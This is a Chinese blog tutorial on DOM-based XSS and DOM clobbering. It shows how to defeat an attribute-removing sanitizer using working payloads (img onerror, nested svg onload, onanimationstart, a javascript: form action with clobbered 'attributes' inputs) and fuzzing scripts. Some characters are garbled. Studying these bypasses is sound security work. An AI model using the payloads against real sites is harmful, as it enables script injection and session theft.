DOM型XSS破壞

目錄

首先

然后

第一種

第二種(DOM)

HTMLCollection

HTML Relationships

Custom


首先

<script>//urlencode解碼 //location接口的hash屬性是一個字符串,包含一個“#”后跟位置URL的片段標識符。如果URL沒有片段標識符,則該屬性的值為空字符串""//substr值的substr()方法返回該字符串的一部分,從指定的索引開始截取//substr(1)如果不寫,就會把#截進去const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值const root = document.createElement('div') //創建一個div元素
?root.innerHTML = data ?//將data的值賦給divdocument.body.appendChild(root); //把root的內容插入到body里面去for (let el of root.querySelectorAll('*')){ ? ? //循環遍歷div元素中的子元素 for (let attr of el.attributes ){ ? ? ? //獲取div子標簽中的屬性el.removeAttribute(attr.name); ? ? ?//對子標簽中的屬性進行移除}}
?//訪問時127.0.0.1/a.html#<img src=1 onerror=alert(1)>//結果只刪除了src=1,剩下的<img onerror=alert(1)>依舊存在于div中,是因為索引的問題,//例如[1,2,3,4,5]把1刪除后,2就到了1的位置,但是代碼已經繼續往下執行,就把到2位置的3給刪除了//以此類推最后剩下[2,4]//HTML 5中指定不執行由innerHTML插入的script標簽,所以不能傳遞script標簽//由此可以這樣繞過:<img a=1 src=1 b=1 onerror=alert(1)>
</script>

然后

因為這個代碼不能完全刪除傳入的參數,所以下面這段代碼對其進行了升級:

<script> 
//<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
?
for (let el of root.querySelectorAll('*')) {let attrs = []for(let attr of el.attributes) {attrs.push(attr.name); }// 在這里刪除我們的屬性,onerror href,程序沒有走進去就觸發// dom破壞,給它品控生成一個無關的節點,不會刪除我們的payloadfor(let name of attrs) {el.removeAttribute(name);}
}document.body.appendChild(root);
</script>

第一種

1.一個svg觸發會失敗 二個svg會成功
2.在屬性都被刪除的情況下,為什么svg依然可以觸發成功
?
<svg><svg/οnlοad=alert(1)>會在root.innerHTML = data;被觸發。
它屬于自閉合標簽,onload在DOM解析時立即執行,早于屬性移除
<svg/οnlοad=alert(1)>是非自閉合標簽,onload事件在DOM插入后才觸發,但此時屬性已被移除

第二種(DOM)

HTMLCollection

之前XSS GAME靶場的Ok, Boomer這道題是一層的形式,但是這里要用兩層。我們可以這樣試試:

<div id="x"><a id="y" href='hhhhhhhhh'></a>
</div>
<script> alert(x.y);
</script>

這??論第?個標簽怎么組合,得到的結果都只是undefined 。但是我們可以通過另?種?法加?引? name 屬性就會有其他的效果。

HTML Relationships

再者,我們也可以通過利?HTML標簽之間存在的關系來構建層級關系。

<script>var log=[];var html =["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];div=document.createElement('div');for(var i=0;i<html.length;i++){for(var j=0;j<html.length;j++) {div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div);if(window.element1 && element1.element2){ log.push(html[i]+','+html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
// 以上代碼測試了現在HTML5 基本上所有的標簽,使?兩層的層級關系進?fuzz ,注意這?只使?了
id ,并沒有使?name,遇上?的HTMLCollection 并不是?種?法。
</script>

// 試試
<form id="x"><output id="y">hhhhhhhhhhh</output>
</form>
<script> alert(x.y.value);
</script>
// 三級的層級關系我們就需要?到以上兩種技巧來構建
<form id="x" name="y"><output id="z">hhhhhhhhhhh</output>
</form>
<form id="x"></form>
<script>alert(x.y.z.value)
</script>
Custom

以上我們都是通過id 或者 name 來利?,那我們能不能通過?定義屬性來構造呢?

<form id=x y=123></form>
<script> alert(x.y)//undefine
</script>

很明顯,這意味著任何未定義的屬性都不會具有DOM 屬性,所以就返回了 undefined。我們可以嘗試?下fuzz 所有標簽的有沒有字符串類型的屬性可供我們使?:

<script>var html = [...]//HTML元素數組var props=[]; for(i=0;i<html.length;i++){obj =document.createElement(html[i]); for(prop in obj) {if(typeof obj[prop] === 'string') { try {props.push(html[i]+':'+prop);}catch(e){}}}}console.log([...new Set(props)].join('\n'));
</script>

==============================================================

//試試
<form action=javascript:alert(1)><input id="attributes"><input id="attributes"><button type="submit">Submit</button>
</form>
//要用戶交互

el.attributes?本來應該是元素的屬性列表,但由于?<input id="attributes">?存在,el.attributes?被覆蓋成這個?input?元素本身!

所以?for(let attr of el.attributes)?會嘗試遍歷?input?元素,所以不能只寫一個input,只寫一個?input 就不是可迭代對象,會導致內部報錯。

onaniamtionstart是JavaScript中用于監聽CSS動畫開始的事件處理器

//用戶不交互
<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/915552.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/915552.shtml
英文地址,請注明出處:http://en.pswp.cn/news/915552.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux C 多線程基本操作

我們已經了解進程的基本概念&#xff1a;進程是正在執行的程序&#xff0c;并且是系統資源分配的基本單位。當用戶需要在一臺計算機上去完成多個獨立的工作任務時&#xff0c;可以使用多進程的方式&#xff0c;為每個獨立的工作任務分配一個進程。多進程的管理則由操作系統負責…

C語言基礎:二維數組練習題

1. 一個二維數組賦了初值&#xff0c;用戶輸入一個數&#xff0c;在該二維數組中查找。找到則返回行列位置&#xff0c;沒找到則提示。#include <stdio.h>int main() {int arr[3][3] {{1, 2, 3},{4, 5, 6},{7, 8, 9}};int t;printf("要查找的數&#xff1a;")…

Java面試題034:一文深入了解MySQL(6)

Java面試題029&#xff1a;一文深入了解MySQL&#xff08;1&#xff09; Java面試題030&#xff1a;一文深入了解MySQL&#xff08;2&#xff09; Java面試題031&#xff1a;一文深入了解MySQL&#xff08;3&#xff09; Java面試題032&#xff1a;一文深入了解MySQL&#x…

Java基礎教程(011):面向對象中的構造方法

10-面向對象-構造方法 構造方法也叫做構造器、構造函數。 作用&#xff1a;在創建對象的時候給成員變量進行初始化的。 ? 一、構造方法的特點特點說明與類同名構造方法的名稱必須與類名相同沒有返回類型構造方法沒有返回值&#xff0c;甚至不能寫 void自動調用使用 new 創建對…

Adobe Photoshop:數字圖像處理的終極工具指南

Hi&#xff0c;我是布蘭妮甜 &#xff01;Adobe Photoshop自1990年問世以來&#xff0c;已經成為數字圖像處理領域的標桿和代名詞。這款強大的軟件不僅徹底改變了攝影、設計和藝術創作的方式&#xff0c;還深刻影響了我們消費和感知視覺內容的文化方式。從專業攝影師到社交媒體…

本期來講講什么是LVS集群?

集群和分布式 集群&#xff08;Cluster&#xff09;&#xff0c;解決某個問題將多臺計算機組合形成的系統群。 常見的集群類型&#xff1a; 負載均衡(LoadBalancing&#xff0c;簡稱LB)&#xff1a;由多個相同配置的主機組成&#xff0c;每個主機經過調度承擔部分訪問&#…

JVM 類加載過程筆記

一、概述 JVM&#xff08;Java Virtual Machine&#xff09;在運行 Java 程序時&#xff0c;需要將 .class 字節碼文件加載到內存中&#xff0c;并轉換成可以被 JVM 執行的數據結構&#xff0c;這一過程就是 類加載過程&#xff08;Class Loading Process&#xff09;。 JVM 的…

基于爬蟲技術的電影數據可視化系統 Python+Django+Vue.js

本文項目編號 25002 &#xff0c;文末自助獲取源碼 \color{red}{25002&#xff0c;文末自助獲取源碼} 25002&#xff0c;文末自助獲取源碼 目錄 一、系統介紹二、系統錄屏三、啟動教程四、功能截圖五、文案資料5.1 選題背景5.2 國內外研究現狀 六、核心代碼6.1 查詢數據6.2 新…

如何用 LUKS 和 cryptsetup 為 Linux 配置加密

在信息安全愈發重要的今天&#xff0c;為 Linux 系統盤配置全盤加密已經成為很多企業和個人的選擇。LUKS&#xff08;Linux Unified Key Setup&#xff09;配合工具 cryptsetup 可以在不犧牲性能的前提下實現高強度加密。本文將通過一個故事化的場景&#xff0c;介紹整個配置過…

VIVADO技巧_BUFGMUX時序優化

1.版本說明日期作者版本說明2025xxxx風釋雪初始版本 2.概述 基于VIVADO時序約束&#xff0c;BUFGMUX多路時鐘選擇原語的設計3.原語介紹 7系列FPGA/UltraSCale/UltraSCaleBUFGMUX_CTRL BUFGMUX_CTRL_inst (.O(O), // 1-bit output: Clock output.I0(I0), // 1-bit input: Cloc…

服務器系統時間不準確怎么辦?

服務器系統時間不準確可能會導致日志錯亂、任務調度失敗、SSL證書校驗錯誤等問題。以下是解決辦法&#xff1a;&#x1f310; 一、同步系統時間的方法1. 使用 timedatectl 命令&#xff08;適用于 systemd 系統&#xff09;timedatectl set-ntp true # 開啟自動同步 timedatect…

零信任產品聯合寧盾泛終端網絡準入,打造隨需而變、精準貼合業務的網絡安全訪問體系

零信任網絡訪問控制&#xff08;Zero Trust Network Access&#xff0c;ZTNA&#xff0c;文中零信任皆指 ZTNA&#xff09;基于“永不信任&#xff0c;持續驗證”的理念&#xff0c;打破了企業基于傳統網絡邊界進行防護的固有模式。在當前日趨復雜的網絡環境下&#xff0c;內部…

【未限制消息消費導致數據庫CPU告警問題排查及解決方案】

一、背景 某天下午&#xff0c;上游系統同一時間突然下了三個大合同數據&#xff0c;平均每個合同數據實例在6萬以上的量級&#xff0c;短短幾分鐘內瞬間有20萬左右的流量涌入系統。 而在正常情況下&#xff0c;系統1天處理的流量也不過2千量級&#xff0c;當時數據庫指標監控告…

iOS開發 Swift 速記2:三種集合類型 Array Set Dictionary

初級代碼游戲的專欄介紹與文章目錄-CSDN博客 我的github&#xff1a;codetoys&#xff0c;所有代碼都將會位于ctfc庫中。已經放入庫中我會指出在庫中的位置。 這些代碼大部分以Linux為目標但部分代碼是純C的&#xff0c;可以在任何平臺上使用。 源碼指引&#xff1a;github源…

Apache基礎配置

一、Apache安裝# 安裝apache [rootwebserver ~]# yum install httpd -y# 在防火墻中放行web服務 [rootwebserver ~]# firewall-cmd --permanent --add-servicehttp success [rootwebserver ~]# firewall-cmd --permanent --add-servicehttps success# 開啟服務 [rootwebserver …

Python100個庫分享第37個—BeautifulSoup(爬蟲篇)

目錄專欄導讀&#x1f4da; 庫簡介&#x1f3af; 主要特點&#x1f6e0;? 安裝方法&#x1f680; 快速入門基本使用流程解析器選擇&#x1f50d; 核心功能詳解1. 基本查找方法find() 和 find_all()CSS選擇器2. 屬性操作3. 文本提取&#x1f577;? 實戰爬蟲案例案例1&#xff…

石子入水波紋效果:頂點擾動著色器實現

水面波紋的真實模擬是計算機圖形學中一個經典且重要的課題,廣泛應用于游戲、影視和虛擬現實等領域。本文將從技術原理和實現細節出發,系統介紹如何利用**頂點擾動(Vertex Displacement)**技術,結合多種輔助方法,打造既真實又高效的水面波紋效果。 一、頂點擾動的核心思想…

【FFmpeg 快速入門】本地播放器 項目

目錄 &#x1f308;前言&#x1f308; &#x1f4c1; 整體架構 詳細流程 &#x1f4c1; 數據流向? &#x1f4c1; 隊列設計?編輯 &#x1f4c1; 線程設計 &#x1f4c1; 音視頻同步 &#x1f4c1; 音頻輸出設計 &#x1f4c1; 視頻輸出設計 &#x1f4c1; 總結 …

Maven dependencyManagement標簽 properties標簽

dependencyManagement標簽properties標簽